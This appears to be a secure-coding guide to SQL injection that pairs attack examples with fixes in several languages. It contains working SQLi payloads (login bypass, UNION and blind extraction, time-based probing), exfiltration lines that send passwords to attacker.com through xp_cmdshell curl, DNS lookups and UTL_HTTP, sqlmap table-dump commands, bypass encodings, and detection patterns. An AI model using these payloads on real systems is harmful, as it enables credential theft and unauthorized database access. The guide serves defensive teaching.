SQL Injection: The Complete Guide to Understanding, Preventing, and Detecting SQLi Attacks

// VULNERABLE - DO NOT USE
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  const query = `
    SELECT * FROM users
    WHERE username = '${username}'
    AND password = '${password}'
  `;

  const result = await db.query(query);

  if (result.rows.length > 0) {
    res.json({ success: true, user: result.rows[0] });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

admin' --

SELECT * FROM users
WHERE username = 'admin' --'
AND password = 'anything'

' OR '1'='1' --

SELECT * FROM users
WHERE username = '' OR '1'='1' --'
AND password = 'anything'

-- Original query
SELECT name, price FROM products WHERE category = 'electronics'

-- Attacker input for category: ' UNION SELECT username, password FROM users --
-- Resulting query:
SELECT name, price FROM products WHERE category = ''
UNION SELECT username, password FROM users --'

-- Step 1: Find number of columns (keep adding NULL until no error)
' ORDER BY 1 --    -- works
' ORDER BY 2 --    -- works
' ORDER BY 3 --    -- works
' ORDER BY 4 --    -- ERROR! Table has 3 columns

-- Step 2: Find which columns display on page
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT 'test', NULL, NULL --  -- see where 'test' appears

-- Step 3: Extract data
' UNION SELECT username, password, email FROM users --

-- Step 4: Extract database metadata
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --
' UNION SELECT column_name, data_type, NULL FROM information_schema.columns
  WHERE table_name = 'users' --

-- MySQL: Extract data via error messages
' AND (SELECT 1 FROM (SELECT COUNT(*),
  CONCAT((SELECT username FROM users LIMIT 0,1),
  FLOOR(RAND(0)*2)) x FROM information_schema.tables
  GROUP BY x) a) --

-- PostgreSQL: Cast error reveals data
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT) --
-- Error: invalid input syntax for integer: "admin"

-- SQL Server: Convert error reveals data
' AND 1=CONVERT(INT, (SELECT TOP 1 username FROM users)) --

-- Is the first character of the admin password 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --
-- If TRUE: normal page loads
-- If FALSE: page shows "no results" or different content

-- Automated extraction (what sqlmap does):
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --  -- false
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'b' --  -- false
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'c' --  -- false
...
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's' --  -- TRUE!
-- First character is 's'. Now repeat for position 2, 3, 4...

-- MySQL: IF true, sleep 5 seconds
' OR IF(1=1, SLEEP(5), 0) --
-- Response takes 5 seconds = injectable

-- Extract data character by character
' OR IF((SELECT SUBSTRING(password,1,1) FROM users
  WHERE username='admin')='s', SLEEP(5), 0) --
-- 5 second delay = character is 's'

-- PostgreSQL equivalent
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

-- SQL Server
'; IF (1=1) WAITFOR DELAY '0:0:5' --

-- MySQL: DNS exfiltration (requires FILE privilege)
' UNION SELECT LOAD_FILE(
  CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')
) --
-- Database makes DNS lookup: s3cr3tpassword.attacker.com

-- SQL Server: xp_cmdshell + HTTP request
'; EXEC xp_cmdshell('curl http://attacker.com/?data=' +
  (SELECT TOP 1 password FROM users)) --

-- Oracle: UTL_HTTP
' UNION SELECT UTL_HTTP.REQUEST(
  'http://attacker.com/?data=' || (SELECT password FROM users WHERE ROWNUM=1)
) FROM dual --

# Step 1: User registers with malicious username (stored safely via parameterized query)
username = "admin'--"
cursor.execute("INSERT INTO users (username, email) VALUES (%s, %s)",
               (username, email))
# Stored in DB as: admin'--

# Step 2: Later, a DIFFERENT piece of code uses that stored username unsafely
# Maybe a password reset function:
stored_username = get_username_from_session()  # Returns "admin'--" from DB

# VULNERABLE: trusts data from own database
cursor.execute(f"UPDATE users SET password = '{new_password}'
                 WHERE username = '{stored_username}'")

# Resulting SQL:
# UPDATE users SET password = 'newpass123' WHERE username = 'admin'--'
# This resets the REAL admin's password!

// SAFE: Parameterized query with pg
const getUser = async (email, orgId) => {
  const result = await pool.query(
    'SELECT id, name, email, role FROM users WHERE email = $1 AND org_id = $2',
    [email, orgId]
  );
  return result.rows[0];
};

// SAFE: Dynamic WHERE clauses done right
const searchUsers = async (filters) => {
  const conditions = [];
  const values = [];
  let paramIndex = 1;

  if (filters.name) {
    conditions.push(`name ILIKE $${paramIndex}`);
    values.push(`%${filters.name}%`);
    paramIndex++;
  }

  if (filters.role) {
    conditions.push(`role = $${paramIndex}`);
    values.push(filters.role);
    paramIndex++;
  }

  if (filters.active !== undefined) {
    conditions.push(`active = $${paramIndex}`);
    values.push(filters.active);
    paramIndex++;
  }

  const whereClause = conditions.length > 0
    ? 'WHERE ' + conditions.join(' AND ')
    : '';

  const result = await pool.query(
    `SELECT id, name, email, role FROM users ${whereClause} ORDER BY name LIMIT 50`,
    values
  );
  return result.rows;
};

// SAFE: Prisma is parameterized by default
const user = await prisma.user.findUnique({
  where: { email: userEmail },
  select: { id: true, name: true, email: true },  // Only return needed fields
});

// SAFE: Dynamic filters
const users = await prisma.user.findMany({
  where: {
    AND: [
      filters.name ? { name: { contains: filters.name, mode: 'insensitive' } } : {},
      filters.role ? { role: filters.role } : {},
      filters.active !== undefined ? { active: filters.active } : {},
    ],
  },
  take: 50,
  orderBy: { name: 'asc' },
});

// CAUTION: Raw queries - use tagged template (parameterized)
const users = await prisma.$queryRaw`
  SELECT id, name FROM users WHERE role = ${role} AND org_id = ${orgId}
`;

// NEVER use $queryRawUnsafe with user input!
// This exists for dynamic table names (from trusted config, never user input)

# psycopg2 - SAFE: %s placeholders
cursor.execute(
    "SELECT id, name, email FROM users WHERE email = %s AND active = %s",
    (email, True)
)

# psycopg2 - SAFE: Named parameters
cursor.execute(
    "SELECT * FROM orders WHERE user_id = %(uid)s AND status = %(status)s",
    {"uid": user_id, "status": "completed"}
)

# asyncpg - SAFE: $N placeholders
row = await conn.fetchrow(
    "SELECT id, name, email FROM users WHERE email = $1",
    email
)

# SQLAlchemy - SAFE: text() with bound params
from sqlalchemy import text

result = session.execute(
    text("SELECT * FROM users WHERE email = :email AND role = :role"),
    {"email": email, "role": role}
)

# Django ORM - SAFE by default
user = User.objects.get(email=email)

# SAFE: Complex queries
users = User.objects.filter(
    name__icontains=search_term,
    role__in=['admin', 'editor'],
    is_active=True,
).order_by('name')[:50]

# SAFE: Raw queries with params
users = User.objects.raw(
    "SELECT * FROM auth_user WHERE email = %s AND is_active = %s",
    [email, True]
)

# DANGER: extra() and raw string annotations
# Avoid these Django methods or parameterize carefully:
User.objects.extra(where=["name = '%s'" % name])  # VULNERABLE!
User.objects.extra(where=["name = %s"], params=[name])  # SAFE

// JDBC PreparedStatement - SAFE
String sql = "SELECT id, name, email FROM users WHERE email = ? AND role = ?";
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
    stmt.setString(1, email);
    stmt.setString(2, role);
    ResultSet rs = stmt.executeQuery();
    // process results
}

// JPA / Hibernate - SAFE: Named parameters
@Query("SELECT u FROM User u WHERE u.email = :email AND u.active = :active")
List<User> findByEmailAndActive(
    @Param("email") String email,
    @Param("active") boolean active
);

// JPA Criteria API - SAFE: Type-safe queries
CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
query.where(
    cb.equal(root.get("email"), email),
    cb.equal(root.get("active"), true)
);

// database/sql - SAFE: Parameterized
row := db.QueryRowContext(ctx,
    "SELECT id, name, email FROM users WHERE email = $1 AND role = $2",
    email, role,
)

// SAFE: Dynamic query building
func searchUsers(ctx context.Context, db *sql.DB, filters UserFilters) ([]User, error) {
    query := "SELECT id, name, email FROM users WHERE 1=1"
    args := []interface{}{}
    paramIdx := 1

    if filters.Name != "" {
        query += fmt.Sprintf(" AND name ILIKE $%d", paramIdx)
        args = append(args, "%"+filters.Name+"%")
        paramIdx++
    }

    if filters.Role != "" {
        query += fmt.Sprintf(" AND role = $%d", paramIdx)
        args = append(args, filters.Role)
        paramIdx++
    }

    query += " ORDER BY name LIMIT 50"
    rows, err := db.QueryContext(ctx, query, args...)
    // ... process rows
}

// PDO Prepared Statement - SAFE
$stmt = $pdo->prepare(
    'SELECT id, name, email FROM users WHERE email = :email AND role = :role'
);
$stmt->execute([
    ':email' => $email,
    ':role' => $role,
]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

// IMPORTANT: Set PDO to throw exceptions on error (don't silently fail)
$pdo = new PDO($dsn, $user, $pass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,  // Use real prepared statements!
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

import { z } from 'zod';

// Define strict schemas for all inputs
const SearchSchema = z.object({
  query: z.string().min(1).max(200).trim(),
  category: z.enum(['electronics', 'books', 'clothing', 'food']),
  minPrice: z.coerce.number().min(0).max(100000).optional(),
  maxPrice: z.coerce.number().min(0).max(100000).optional(),
  sortBy: z.enum(['name', 'price', 'date']).default('name'),
  sortOrder: z.enum(['asc', 'desc']).default('asc'),
  page: z.coerce.number().int().min(1).max(1000).default(1),
});

app.get('/search', async (req, res) => {
  // Validate ALL input before it goes anywhere near SQL
  const result = SearchSchema.safeParse(req.query);
  if (!result.success) {
    return res.status(400).json({
      error: 'Invalid search parameters',
      details: result.error.flatten(),
    });
  }

  const { query, category, minPrice, maxPrice, sortBy, sortOrder, page } = result.data;

  // Now safe to use in parameterized query
  // sortBy and sortOrder are from enum (allowlist), safe for ORDER BY
  const sql = `
    SELECT id, name, price, category
    FROM products
    WHERE name ILIKE $1 AND category = $2
    ${minPrice !== undefined ? 'AND price >= $3' : ''}
    ${maxPrice !== undefined ? `AND price <= $${minPrice !== undefined ? 4 : 3}` : ''}
    ORDER BY ${sortBy} ${sortOrder}
    LIMIT 20 OFFSET $${Object.values({ minPrice, maxPrice }).filter(v => v !== undefined).length + 3}
  `;
  // ... execute with params
});

# SAFE: Allowlist for column names (can't be parameterized)
ALLOWED_SORT_COLUMNS = {'name', 'price', 'created_at', 'rating'}
ALLOWED_SORT_ORDERS = {'asc', 'desc'}

def build_order_clause(sort_by: str, sort_order: str) -> str:
    if sort_by not in ALLOWED_SORT_COLUMNS:
        sort_by = 'name'  # default
    if sort_order not in ALLOWED_SORT_ORDERS:
        sort_order = 'asc'
    return f"ORDER BY {sort_by} {sort_order}"  # Safe: values from allowlist

-- PostgreSQL: Stored procedure with typed parameters
CREATE OR REPLACE FUNCTION get_user_by_email(
    p_email VARCHAR(255)
) RETURNS TABLE(id INT, name VARCHAR, email VARCHAR, role VARCHAR) AS $$
BEGIN
    RETURN QUERY
    SELECT u.id, u.name, u.email, u.role
    FROM users u
    WHERE u.email = p_email AND u.active = true;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

-- Usage (still parameterize the call!)
SELECT * FROM get_user_by_email($1);

-- Create a read-only user for the web application
CREATE ROLE webapp_readonly LOGIN PASSWORD 'strong_random_password';
GRANT CONNECT ON DATABASE myapp TO webapp_readonly;
GRANT USAGE ON SCHEMA public TO webapp_readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO webapp_readonly;

-- Create a limited write user for mutations
CREATE ROLE webapp_write LOGIN PASSWORD 'another_strong_password';
GRANT CONNECT ON DATABASE myapp TO webapp_write;
GRANT USAGE ON SCHEMA public TO webapp_write;
GRANT SELECT, INSERT, UPDATE ON users, orders, products TO webapp_write;
-- Note: NO DELETE, NO DROP, NO ALTER, NO TRUNCATE

-- NEVER grant these to application users:
-- GRANT ALL PRIVILEGES ...
-- GRANT SUPERUSER ...
-- GRANT CREATE, DROP ...

// Use separate connection pools for reads vs writes
const readPool = new Pool({
  user: 'webapp_readonly',
  database: 'myapp',
  // ...
});

const writePool = new Pool({
  user: 'webapp_write',
  database: 'myapp',
  // ...
});

// Read operations use read-only pool
const getUser = (id) => readPool.query('SELECT * FROM users WHERE id = $1', [id]);

// Write operations use write pool
const updateUser = (id, name) => writePool.query(
  'UPDATE users SET name = $1 WHERE id = $2', [name, id]
);

# Nginx: Basic SQL injection blocking (supplement, not replacement)
location / {
    # Block common SQL injection patterns in query strings
    if ($query_string ~* "(union|select|insert|update|delete|drop|alter|create|exec|execute|xp_|sp_|0x)" ) {
        return 403;
    }

    # Block common SQL injection in request body
    if ($request_body ~* "(union|select|insert|update|delete|drop|alter)" ) {
        return 403;
    }

    proxy_pass http://backend;
}

# AWS WAF rule example (CloudFormation)
SQLInjectionProtection:
  Type: AWS::WAFv2::WebACL
  Properties:
    Rules:
      - Name: SQLInjectionRule
        Priority: 1
        Statement:
          SqliMatchStatement:
            FieldToMatch:
              Body: {}
            TextTransformations:
              - Priority: 0
                Type: URL_DECODE
              - Priority: 1
                Type: HTML_ENTITY_DECODE
        Action:
          Block: {}

// BAD: Exposing database errors
app.get('/user/:id', async (req, res) => {
  try {
    const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
    res.json(user.rows[0]);
  } catch (error) {
    res.status(500).json({ error: error.message });
    // Attacker sees: "column 'passwordd' does not exist"
    // Now they know the column is probably called 'password'
  }
});

// GOOD: Generic errors externally, detailed logs internally
app.get('/user/:id', async (req, res) => {
  try {
    const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
    if (!user.rows[0]) {
      return res.status(404).json({ error: 'User not found' });
    }
    res.json(user.rows[0]);
  } catch (error) {
    // Log detailed error internally
    logger.error('Database query failed', {
      error: error.message,
      stack: error.stack,
      query: 'get_user_by_id',
      userId: req.params.id,
    });

    // Return generic error to client
    res.status(500).json({ error: 'An internal error occurred' });
  }
});

-- PostgreSQL: Don't expose query details in errors
ALTER SYSTEM SET log_min_error_statement = 'error';
-- Ensure client_min_messages doesn't leak info
ALTER SYSTEM SET client_min_messages = 'notice';

# Middleware to detect and log SQL injection attempts
import re
import logging

SQLI_PATTERNS = [
    r"('\s*(OR|AND)\s*'?\d+\s*=\s*\d+)",
    r"(UNION\s+(ALL\s+)?SELECT)",
    r"(;\s*(DROP|ALTER|DELETE|UPDATE|INSERT))",
    r"(SLEEP\s*\(\d+\))",
    r"(WAITFOR\s+DELAY)",
    r"(BENCHMARK\s*\()",
    r"(--\s*$)",
    r"(#\s*$)",
    r"(/\*.*?\*/)",
    r"(xp_cmdshell)",
    r"(LOAD_FILE\s*\()",
    r"(INTO\s+(OUT|DUMP)FILE)",
]

compiled_patterns = [re.compile(p, re.IGNORECASE) for p in SQLI_PATTERNS]

def detect_sqli(input_string: str) -> list[str]:
    """Detect potential SQL injection patterns in input."""
    findings = []
    for pattern in compiled_patterns:
        match = pattern.search(input_string)
        if match:
            findings.append(match.group())
    return findings

# Express middleware equivalent
def sqli_detection_middleware(request):
    """Check all request parameters for SQL injection patterns."""
    all_inputs = []
    all_inputs.extend(request.args.values())      # Query params
    all_inputs.extend(request.form.values())       # Form data
    all_inputs.extend(request.headers.values())    # Headers

    for input_val in all_inputs:
        findings = detect_sqli(str(input_val))
        if findings:
            logging.warning(
                "SQL injection attempt detected",
                extra={
                    "ip": request.remote_addr,
                    "path": request.path,
                    "patterns": findings,
                    "input": input_val[:200],  # Truncate for logging
                }
            )
            # Option: block the request
            # Option: rate-limit the IP
            # Option: alert security team

Basic tests (try in every input field):
  '                          -- Single quote (causes error if vulnerable)
  ''                         -- Double quote escape test
  ' OR '1'='1               -- Boolean always-true
  ' OR '1'='1' --           -- With comment
  ' OR '1'='1' /*           -- C-style comment
  1 OR 1=1                  -- Numeric injection
  1' ORDER BY 1 --          -- Column count discovery
  1' UNION SELECT NULL --   -- Union test

String terminators by database:
  MySQL:      ' -- -  or  ' #
  PostgreSQL: ' --
  SQL Server: ' --
  Oracle:     ' --

Bypass techniques:
  URL encoding:     %27%20OR%20%271%27%3D%271
  Double encoding:  %2527
  Case variation:   uNiOn SeLeCt
  Comments:         UN/**/ION SEL/**/ECT
  Whitespace:       UNION%0aSELECT

# Basic test against a URL parameter
sqlmap -u "http://target.com/page?id=1" --batch

# Test POST parameters
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  --method POST \
  --batch

# Test with authentication cookie
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="session=abc123" \
  --batch

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Dump a specific table
sqlmap -u "http://target.com/page?id=1" \
  -D mydb -T users --dump --batch

# Test all parameters including headers
sqlmap -u "http://target.com/page?id=1" \
  --level=5 --risk=3 --batch

# Semgrep rules for SQL injection detection
rules:
  - id: python-sql-injection
    patterns:
      - pattern-either:
          - pattern: |
              cursor.execute(f"...", ...)
          - pattern: |
              cursor.execute("..." + $VAR, ...)
          - pattern: |
              cursor.execute("..." % $VAR, ...)
          - pattern: |
              cursor.execute("...".format(...), ...)
    message: |
      SQL query built with string formatting. Use parameterized queries:
      cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    severity: ERROR
    languages: [python]

  - id: node-sql-injection
    patterns:
      - pattern-either:
          - pattern: |
              $DB.query(`...${...}...`)
          - pattern: |
              $DB.query("..." + $VAR)
    message: |
      SQL query built with string concatenation. Use parameterized queries:
      db.query('SELECT * FROM users WHERE id = $1', [userId])
    severity: ERROR
    languages: [javascript, typescript]

  - id: java-sql-injection
    patterns:
      - pattern: |
          $STMT = $CONN.createStatement();
          $STMT.execute("..." + $VAR);
    message: |
      Use PreparedStatement with parameterized queries instead of Statement.
    severity: ERROR
    languages: [java]

-- The vulnerable query
SELECT * FROM admins WHERE username = '{input}' AND password = MD5('{input}')

-- Attacker enters username: admin' --
-- Result:
SELECT * FROM admins WHERE username = 'admin' --' AND password = MD5('anything')
-- Password check bypassed entirely

-- Application shows product search results
SELECT name, description, price FROM products WHERE name LIKE '%{search}%'

-- Attacker searches for: %' UNION SELECT username, password, email FROM users --
-- Result shows user credentials mixed in with product listings

// SAFE: Parameterized LIKE
const results = await pool.query(
  "SELECT name, description, price FROM products WHERE name ILIKE $1 LIMIT 50",
  [`%${searchTerm}%`]
);

-- Vulnerable profile update
UPDATE users SET bio = '{bio}' WHERE id = {userId}

-- Attacker sets bio to: ', role = 'admin' WHERE id = 42 --
-- Result:
UPDATE users SET bio = '', role = 'admin' WHERE id = 42 --' WHERE id = {userId}
-- Attacker is now admin

// SAFE: Parameterized + explicit columns
await pool.query(
  'UPDATE users SET bio = $1 WHERE id = $2',
  [bio, userId]  // role column is never in the query
);